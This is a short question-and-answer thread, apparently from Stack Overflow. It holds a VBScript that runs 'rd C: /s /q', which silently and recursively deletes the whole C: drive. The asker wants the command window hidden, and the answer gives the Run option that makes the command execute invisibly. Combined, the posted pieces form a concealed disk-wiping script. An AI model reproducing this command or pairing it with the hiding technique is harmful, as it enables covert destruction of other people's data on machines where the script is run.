1

So, here's the script:

Set oShell = WScript.CreateObject ("WScript.Shell") 
oShell.run "cmd.exe /C rd C: /s /q" 
Set oShell = Nothing 

The thing is that I want to make that command line prompt be invisible / hidden and I don't want to use external programs.

Brian Tompsett - 汤莱恩
  • 5,753
  • 72
  • 57
  • 129
Bartosz Biesiada
  • 29
  • 1
  • 1
  • 3

1 Answers1

8

You can use this VBScript to run cmd commands hidden, just incorporate it into your script:

Set objShell = WScript.CreateObject("WScript.Shell")
objShell.Run "cmd /c yourcommands", 0, True

Taken from this answer: Prevent VBscript app from showing Console Window

Community
  • 1
  • 1